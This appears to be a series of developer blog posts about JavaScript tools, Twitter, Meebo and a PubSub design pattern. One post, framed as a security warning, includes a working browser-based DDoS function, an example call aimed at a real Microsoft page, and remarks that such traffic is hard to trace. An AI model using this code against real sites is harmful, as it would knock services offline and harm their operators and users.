ajaxlights

TechCrunch created a MSFT marketing-fail photoshop meme, with lots of awesome entries.

Check out a collage of the results at http://narcvs.com/MemeSFT

I love my friends

What comes of good nights?

I spend much of my time reading news. On TechCrunch.

I spend much of my time chatting with people. On Meebo.

Now I can have them both - reading news On Tehcrunch, while chatting on their Meebo Bar.

Since the Meebo Bar launch on TechCrunch.com this morning, people have started sharing quite a bit, and I have made my own Fluid TechCrunch application. There, I can read all my news while I discuss and share them with my friends. In short, TechCrunch is my new IM client.

Now if I only got realtime notifications every time TechCrunch posted a new article…

More info at http://business.meebo.com/!

I grabbed the source of the recent “Best Video” Twitter virus.

It’s stashed away at http://narcvs.com/security/best_video_virus.js if you care to have a look.

Pretty intricate stuff - would love to have a look at the obfuscation engine they use.

Since Twitter enforces a 140 character limit, long URLs are often shortened using any of many “tiny url providers” (TinyURL, tr.im, shorl…)

The problem with the tiny url’s is that you can’t see where they lead from looking at the address. A number of services have emerged to solve this problem, such as untiny and the Ubiquity command.

However, these are solutions are really just workarounds to a central of Twitter’s - and Twitter is stepping up to address it!

I just noticed that in Twitter search, they append an “expand link” right after tiny url’s. I would expect them to either add this option around their site, or optionally auto-expand tiny urls for you.

Screenshots:

After clicking the expand link:

Nice work Twitter!

Creating HTML forms can be a drag. Validating the form input is even worse. I wrote up a javascript utility to demonstrate how easy and enjoyable it could (should) be to create forms. Check out the demo. You create a form with:

new FormLess('form-container-element-id', items);

where items is an array of objects. Each item requires at least a name and a type, but could also take an array of options or a validation function that gets called to validate the value of that item.

items = [{
  name : 'Gender',
  type : 'select',
  options : ['None of your business', 'Male', 'Female'],
  validate : function(data) {
    return data && data != 'None of your business'
  }
}]

Each time an item’s value changes, the validation function gets called for that item. If a validation function returns false, the item gets marked as invalid. Valid and invalid items can be styled however you please:

.valid {
  background-color : green;
}

.invalid {
  background-color : red;
}

When the form is submitted, each item gets has its validation function called. If all validation functions pass, the submit function gets called along with a key-value object containing the items names and values. This tool has not been tested across browsers - it’s mostly a demonstration of how easy it should be to gather and handle user-entered data. Check out the demo

Genetic algorithms allow for the best performing solutions to stand out. SnapAds uses genetic algorithms to improve performance of ads. Greg Dingle hosts an open source JS library for evolution of UIs, genetify over at github (definitely check out the genetify demo).

CSS spriting allows for you to download all your images with a single HTTP request. Jennifer Semtner has a great writeup for a cross-browser, PNG compatible spriting solution.  

Distributed computing is hot. Enter stage: JS. While browsing the web, you can donate spare CPU cycles to computing projects. Joose has built a JS implementation for distributed computing using app engine and gears. Like SETI screensavers but waaaay cooler.

The appcelerator team has built an open source AIR-style web-to-desktop app builder called Titanium!

Yahoo has created a JSONP REST interface for sql-like search queries of Yahoo and generic web data, YQL. (JSONP services are totally going to be the de-facto solution to cross-domain communication).

Mascara released beta 4. This is a project to convert ECMAScript 4 to javascript that current browsers understant - definitely keep an eye on Mascara.

There’s a new javascript meetup for the bay area - Bayjax, started and run by Uri who has worked with Aptana. Do check it out!

YUI release YUI Doc, a purely comment-based documentation library. Written in Python, it seems to be the only active documentation tool project for js out there. Do we need a JS doc tool? I’m not sure…

And last, something nostalgic: The number of developers that were introduced to our art through turtle drawing must be significant. Now you can draw your own very favorite turtle drawings in JS thanks to canvas turtle!

Q: What’s the difference between a botnet and a popular web service?

A: The web service can only attack port 80.

Imagine a web site with a million simultaneous users. Then imagine putting the following snippet on each of their page views:

function ddosAttack(url, timeLeft, times) {
  times = times || 1;
  window.setTimeout(function() {
    while (times--) {
      var script = document.createElement('script');
      script.src = url + (url.match(/\?/) ? '&' : '?') + Math.ceil(Math.random() * 10000);
      document.getElementsByTagName('head')[0].appendChild(script);
    }
  }, timeLeft);
}

Voila - point the url towards a web page with reasonably heavy html content, and your 1 million users should be able to bring it down reasonably easily. Turn it on, launch attack, turn it off.

Without the help of a tech-savy user with http analyzer or firebug watching traffic closely, the victim will not be able to trace the attack to your website.

It is also virtually impossible to distinguish the attack traffic from legitimate traffic.

While the issue of botnet attacks is not a new one, the threshold of participation is significantly lower for a website than with malware. Simply clicking that link is enough.

Add widgets to the mix, and it gets even uglier.

What would an attack look like? Maybe something like:

ddosAttack('http://www.microsoft.com/windows/ie/ie6/downloads/default.mspx', 1000, 10);

This is a summary of my presentation today at the sf javascript meetup #4 on maintainable front end architecture in javascript. The presentation involves a demo app and a progressive construction of the model’s subscribe method, which contains the meat of the functionality and interesting javascript.

Demo app:

Decoupling Data and UI in webapps with PubSub patterns

As web applications become more powerful, they grow in complexity. Front end programming patterns and best practices are becoming more and more important both for the community and for the industry.

If you decouple your application’s data and UI layers, you will be able to easily extend and develop one layer without affecting the other. A powerful pattern that allows for such decoupling is publication/subscription.

It turns out that javascript’s combination of functional programming and the ability to apply a scope at runtime makes it a wonderful language to write a PubSub library in. 25 lines of code is enough to create a highly versitile model with both dynamic scoping and currying/partial application. We’ll go through that code together in a moment.

If you look at the application code (not more than some 70 lines), then you notice that the UI and the data layers are completely independent - i.e. they don’t reference each other. All the message passing between the data and the UI are taken care of with code like this:

pubSubBroker.subscribe('email-open', gData, 'onRead');
pubSubBroker.subscribe('email-open', gUI, 'markEmail', true);
var email = {title:'Test email', id:1, body:'Test body'};
//This will call both gData.onRead(email) and gUI.markEmail(true, email);
pubSubBroker.publish('email-arrive', email);

The pubSubBroker creation and publish are both pretty straight forward:

// Our publication and subscription broker
function PubSubBroker() {
  var signals = arguments;
  this.subscribers = {};
  for (var i=0; i < signals.length; i++) {
    this.subscribers[signals[i]] = [];
  }
}

PubSubBroker.prototype.publish = function(signal) {
  var args = Array.prototype.slice.call(arguments, 1)
  for (var i=0; i < this.subscribers[signal].length; i++) {
    var handler = this.subscribers[signal][i];
    handler.apply(this, args);
  }
}

However, the subscribe method is the fun part. Let’s go through its creation step by step in order to understand how we get to the final, slightly non-trivial 7-line implementation. First, we just want the ability to subscribe to signals with a function handler:

PubSubBroker.prototype.subscribe = function(signal, handler){
  this.subscribers[signal].push(handler);
}

Then we add the ability of specifying the scope in which the handler will run on when a signal is published. Use handlerName rather than handler directly, and use call to run the handler in the given scope.

PubSubBroker.prototype.subscribe = function(signal, scope, handlerName){
  this.subscribers[signal].push(function(eventArguments){
    scope[handlerName].call((scope || window), eventArguments);
  });
}

The third version adds the ability to pass in a variable number of arguments to publish. Using apply rather than call allows for this.

PubSubBroker.prototype.subscribe = function(signal, scope, handlerName){
  this.subscribers[signal].push(function(){
    scope[handlerName].apply((scope || window), arguments);
  });
}

Finally, we make currying possible, which allows for partial application that can be super useful in many cases (let me know if you want a useful example and I’ll add it):

PubSubBroker.prototype.subscribe = function(signal, scope, handlerName){
  var curryArray = Array.prototype.slice.call(arguments, 3);
  this.subscribers[signal].push(function(){
    var normalizedArgs = Array.prototype.slice.call(arguments, 0);
    scope[handlerName].apply((scope || window), curryArray.concat(normalizedArgs));
  });
}

That’s it! If you want to play with the code, just download the zipfile with the demo application and pubsub code or check out the demo - it has links to the application file, pubsub broker file, as well as the progressive build of subscribe.